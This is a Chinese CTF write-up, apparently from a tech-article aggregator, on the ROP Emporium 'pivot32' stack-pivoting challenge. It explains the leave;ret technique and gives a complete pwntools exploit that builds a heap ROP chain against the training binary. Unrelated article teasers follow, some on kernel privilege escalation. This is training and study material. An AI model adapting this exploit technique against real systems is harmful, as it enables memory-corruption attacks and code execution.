CTF|rop emporium pivot32 writeup (栈迁移题型)

2024-01-06 13:08

本文主要是介绍CTF|rop emporium pivot32 writeup (栈迁移题型),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CTF|rop emporium pivot32 writeup (栈迁移题型)

题目来源:https://ropemporium.com/challenge/pivot.html

malloc生成了一个堆区
在这里插入图片描述
pwnme函数里面有两个gets函数,存在栈溢出的地方,在第二个gets,但是他在填充完s之后所剩下的空间位58-0x28-4,是一个很小的空间,在这样的狭小空间里面是不足以构造rop chain的。

stack pivoting

具有这样特点的题目叫做stack pivoting。

stack pivoting,正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。

显然我们要将ropchain写到堆区,再控制程序到堆区执行
在这里插入图片描述

栈迁移的方法

这道题用的方法是汇编语言leave_ret指令
leave相当于mov esp ebp + pop ebp
mov esp ebp操作指将ebp的值赋给esp,也就是让esp指向ebp所指的地方
pop ebp操作指将栈上ebp所指向的内容pop出来

所以我们的思路是
通过填充数据将ebp覆盖成我们想让函数执行流去到的地方(dss/data/堆区)
然后在填入leave_ret 指令
特别注意的是:其实在函数执行到我们填入的leave_ret指令之前,函数内自己也有一段leave_ret 指令,也就是说,我们这个设置栈溢出,leave_ret 指令它执行了两次。
下面简单两次leave_ret指令过程esp ebp指向(仅供参考)
红线表示esp 绿线表示ebp
在这里插入图片描述
mov esp ebp 之后
在这里插入图片描述
pop ebp之后
在这里插入图片描述
然后第二次mov esp ebp
在这里插入图片描述
最后在pop ebp后即开始处理我们布置在堆区上的指令

然后我们在堆区实现ropchain 在第二个gets函数处将执行流劫持

exp

from pwn import *p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)leave_ret=0x080486a8
mov_eax_eax=0x080488c4
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
call_eax=0x080486a3p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp=int(p.recv(10),16)payload1=p32(func_plt)
payload1+=p32(pop_eax)
payload1+=p32(func_got_plt)
payload1+=p32(mov_eax_eax)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)p.recvuntil('> ')
p.sendline(payload1)payload2='A'*40
payload2+=p32(fake_ebp-4)
payload2+=p32(leave_ret)p.recvuntil('> ')
p.sendline(payload2)
p.interactive()

这篇关于CTF|rop emporium pivot32 writeup (栈迁移题型)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/576451

相关文章

两个月冲刺软考——访问位与修改位的题型(淘汰哪一页);内聚的类型;关于码制的知识点;地址映射的相关内容

1.访问位与修改位的题型(淘汰哪一页) 访问位:为1时表示在内存期间被访问过,为0时表示未被访问;修改位:为1时表示该页面自从被装入内存后被修改过,为0时表示未修改过。 置换页面时,最先置换访问位和修改位为00的,其次是01(没被访问但被修改过)的,之后是10(被访问了但没被修改过),最后是11。 2.内聚的类型 功能内聚:完成一个单一功能,各个部分协同工作,缺一不可。 顺序内聚:

CentOs7上Mysql快速迁移脚本

因公司业务需要,对原来在/usr/local/mysql/data目录下的数据迁移到/data/local/mysql/mysqlData。 原因是系统盘太小,只有20G,几下就快满了。 参考过几篇文章,基于大神们的思路,我封装成了.sh脚本。 步骤如下: 1) 先修改好/etc/my.cnf,        ##[mysqld]       ##datadir=/data/loc

CentOS下mysql数据库data目录迁移

https://my.oschina.net/u/873762/blog/180388        公司新上线一个资讯网站,独立主机,raid5,lamp架构。由于资讯网是面向小行业,初步估计一两年内访问量压力不大,故,在做服务器系统搭建的时候,只是简单分出一个独立的data区作为数据库和网站程序的专区,其他按照linux的默认分区。apache,mysql,php均使用yum安装(也尝试

Linux Centos 迁移Mysql 数据位置

转自:http://www.tuicool.com/articles/zmqIn2 由于业务量增加导致安装在系统盘(20G)磁盘空间被占满了, 现在进行数据库的迁移. Mysql 是通过 yum 安装的. Centos6.5Mysql5.1 yum 安装的 mysql 服务 查看 mysql 的安装路径 执行查询 SQL show variables like

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

linux 内核提权总结(demo+exp分析) -- ROP(二)

ret2usr CR4篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码 内核通过CR4寄存器的第20位来控制smep,

linux 内核提权总结(demo+exp分析) -- ROP(一)

基础ROP篇(linux 5.0.21) 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   内核提权与用户态攻击的区别 攻击流程 用户态攻击: 执行 system("/bin/sh") 获得shel

风格控制水平创新高!南理工InstantX小红书发布CSGO:简单高效的端到端风格迁移框架

论文链接:https://arxiv.org/pdf/2408.16766 项目链接:https://csgo-gen.github.io/ 亮点直击 构建了一个专门用于风格迁移的数据集设计了一个简单但有效的端到端训练的风格迁移框架CSGO框架,以验证这个大规模数据集在风格迁移中的有益效果。引入了内容对齐评分(Content Alignment Score,简称CAS)来评估风格迁移

DataGrip数据迁移

第一步 第二步  第三步  第四步 选择你刚刚到处的文件即可

线性代数 第六讲 特征值和特征向量_相似对角化_实对称矩阵_重点题型总结详细解析

文章目录 1.特征值和特征向量1.1 特征值和特征向量的定义1.2 特征值和特征向量的求法1.3 特征值特征向量的主要结论 2.相似2.1 相似的定义2.2 相似的性质2.3 相似的结论 3.相似对角化4.实对称矩阵4.1 实对称矩阵的基本性质4.2 施密特正交化 5.重难点题型总结5.1 判断矩阵能否相似对角化5.2 已知两个矩阵相似,求某个矩阵中的未知参数5.3 相似时,求可逆矩阵P,使